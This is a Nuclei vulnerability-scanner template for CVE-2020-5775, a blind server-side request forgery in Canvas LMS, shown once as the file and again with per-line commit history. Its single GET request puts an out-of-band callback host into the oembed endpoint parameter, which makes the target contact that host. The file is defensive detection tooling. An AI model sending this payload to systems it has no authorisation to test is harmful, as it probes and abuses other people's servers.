nuclei-templates/http/cves/2020/CVE-2020-5775.yaml

id: CVE-2020-5775

info:
  name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery
  author: alph4byt3
  severity: medium
  description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2020-49
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5775
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 5.8
    cve-id: CVE-2020-5775
    cwe-id: CWE-918
    epss-score: 0.00194
    epss-percentile: 0.57038
    cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: instructure
    product: canvas_learning_management_service
  tags: cve,cve2020,ssrf,oast,blind,tenable,instructure

http:
  - method: GET
    path:
      - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a0048304602210091d826c0b56c33de240d3afc7ae1cd52c0eff6d1dbdb89a69d20e5a717a62aee022100e6e8978bfdf902d34629f2e73be5b64ef81c6ddee799af63683520d41bcb0623:922c64590222798bb761d5b6d8e72950
Create CVE-2020-5775 2021-11-24 14:57:58 +00:00			`id: CVE-2020-5775`

			`info:`
Updates after review 2023-04-18 13:53:50 +00:00			`name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery`
Create CVE-2020-5775 2021-11-24 14:57:58 +00:00			`author: alph4byt3`
			`severity: medium`
Updates after review 2023-04-18 13:53:50 +00:00			`description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`remediation: \|`
			`Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.`
Create CVE-2020-5775 2021-11-24 14:57:58 +00:00			`reference:`
			`- https://www.tenable.com/security/research/tra-2020-49`
Enhancement: cves/2020/CVE-2020-5775.yaml by md 2023-04-04 19:45:42 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-5775`
Auto Generated CVE annotations [Sun Nov 28 20:49:07 UTC 2021] :robot: 2021-11-28 20:49:07 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 5.8`
Auto Generated CVE annotations [Sun Nov 28 20:49:07 UTC 2021] :robot: 2021-11-28 20:49:07 +00:00			`cve-id: CVE-2020-5775`
			`cwe-id: CWE-918`
Added EPSS Percentile 2023-08-31 11:46:18 +00:00			`epss-score: 0.00194`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.57038`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: instructure`
			`product: canvas_learning_management_service`
tags enhancements 2023-12-05 09:50:33 +00:00			`tags: cve,cve2020,ssrf,oast,blind,tenable,instructure`
Create CVE-2020-5775 2021-11-24 14:57:58 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2020-5775 2021-11-24 14:57:58 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"`

			`matchers:`
			`- type: word`
			`part: interactsh_protocol # Confirms the HTTP Interaction`
			`words:`
			`- "http"`
Auto Template Signing [Tue Dec 12 12:02:03 UTC 2023] :robot: 2023-12-12 12:02:03 +00:00			`# digest: 4b0a0048304602210091d826c0b56c33de240d3afc7ae1cd52c0eff6d1dbdb89a69d20e5a717a62aee022100e6e8978bfdf902d34629f2e73be5b64ef81c6ddee799af63683520d41bcb0623:922c64590222798bb761d5b6d8e72950`